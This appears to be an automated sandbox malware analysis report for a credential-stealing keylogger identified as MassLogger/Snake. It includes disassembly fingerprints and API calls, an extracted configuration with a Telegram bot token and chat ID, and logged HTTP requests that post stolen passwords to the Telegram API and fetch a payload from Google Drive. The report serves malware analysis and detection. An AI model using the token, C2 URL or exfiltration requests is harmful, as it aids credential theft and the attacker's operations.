Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 37A8EE08 Relevance: 5.0, Strings: 4, Instructions: 48COMMON

Download Yara Rule

Strings

^, xrefs: 37A8EE3B
^, xrefs: 37A8EE1B
^, xrefs: 37A8EE2B
^, xrefs: 37A8EE4B

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID: ^$^$^$^
API String ID: 0-3251756440
Opcode ID: 7d8af25bd8888ff866f82b4b98b59983fd3cb1442735defa2738555b1558e1c6
Instruction ID: 25ff95e4b570313104a2ad29fb79af3fcffafa2db8786192a8bd0e692fc13730
Opcode Fuzzy Hash: 7d8af25bd8888ff866f82b4b98b59983fd3cb1442735defa2738555b1558e1c6
Instruction Fuzzy Hash: B801A55290E7E19FF72397308CA1B853FA08E13195B5F40E6C0D08F4A3DA58588AC7AA

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000005.00000002.2537992846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2537953721.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538055109.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538148806.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2538203550.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Source: 00000005.00000002.2568386799.0000000034EBB000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA", "Telegram Chatid": "2065242915"}
Source: 6mGpn6kupm.exe.3144.5.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendMessage"}

Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CAD1EC CryptUnprotectData,	5_2_34CAD1EC
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CAD9D9 CryptUnprotectData,	5_2_34CAD9D9
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 5_2_34CAD240 CryptUnprotectData,	5_2_34CAD240

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:50005 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:49994 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:50003 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:49994 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:50005 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:50003 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:49988 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:49988 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:49996 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:50009 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:50011 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:50009 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:50013 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:49996 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:50013 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:50011 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:49980 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:49980 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:49986 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:50017 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:49986 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:50017 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:50007 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:49978 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:50007 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:49978 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:50015 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:50015 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:49984 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:49984 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:49999 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:49999 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:50023 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:50023 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:50019 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:49990 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:50019 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:49992 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:49990 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:49992 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:50001 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:50001 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:49982 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.10:50021 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:50021 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.10:49982 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd318e66da22f5Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31a4b90ef901Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31bafa87d516Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31cfc8c5e025Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31e74b689e6fHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31fd5ac83069Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3211fa17da55Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32268ab0e2a6Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3239af1dc67cHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd324cc6aab803Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3364fb822098Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd337dcb14f585Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33953cf57d39Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33bec03b8946Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33e8127340e1Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd34083c1a702aHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd34284e8df640Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd344ad6b1c93dHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd348d12913f73Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd34d91b512df2Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd353a2ab288d3Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd357a39180a7aHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd35ba44deab09Host: api.telegram.orgContent-Length: 1090

Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 132.226.247.73 132.226.247.73

Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 34CA1042h	5_2_34CA0C28
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 34CAC985h	5_2_34CAC638
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 34CA0671h	5_2_34CA03C4
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 34CAB791h	5_2_34CAB4EC
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 34CA1042h	5_2_34CA0C1A
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 34CAC041h	5_2_34CABD88
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 34CAE198h	5_2_34CADEE1
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 34CAEA48h	5_2_34CAE790
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 34CA1042h	5_2_34CA0F6F
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 34CAF2F8h	5_2_34CAF043
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 34CAB339h	5_2_34CAB07F
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 34CAC499h	5_2_34CAC1F2
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 34CABBE9h	5_2_34CAB944
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 34CADD40h	5_2_34CADA89
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 34CAEEA0h	5_2_34CAEBF7
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 34CAE5F0h	5_2_34CAE339
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A8882Dh	5_2_37A88650
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A891B7h	5_2_37A88650
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then push 00000000h	5_2_37A8BDF0
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A81B00h	5_2_37A81858
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A81250h	5_2_37A80FA8
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A86A68h	5_2_37A867C0
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A861B8h	5_2_37A85F10
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A84218h	5_2_37A83F70
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A83968h	5_2_37A836C0
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A830B8h	5_2_37A82E10
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A85908h	5_2_37A85660
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A85058h	5_2_37A84DB0
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A82808h	5_2_37A82560
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A81F58h	5_2_37A81CB0
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A87770h	5_2_37A874C8
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A816A8h	5_2_37A81400
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A86EC0h	5_2_37A86C18
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	5_2_37A8CBE7
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A84670h	5_2_37A843C8
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A83DC0h	5_2_37A83B18
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A86610h	5_2_37A86368
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_37A87B62
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_37A88373
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A85D60h	5_2_37A85AB8
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A854B0h	5_2_37A85208
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A83510h	5_2_37A83268
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A82C60h	5_2_37A829B8
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_37A88193
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then push 00000000h	5_2_37A8C92F
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A823B0h	5_2_37A82108
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A84ACAh	5_2_37A84820
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then jmp 37A87318h	5_2_37A87070
Source: C:\Users\user\Desktop\6mGpn6kupm.exe	Code function: 4x nop then push 00000000h	5_2_37FBE790

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.10:49979 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.10:49975 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.10:49967 -> 172.217.23.110:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1Nvqe3aBlyD0Q9XkRU4GaNGiKCDXz7GCU HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1Nvqe3aBlyD0Q9XkRU4GaNGiKCDXz7GCU&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
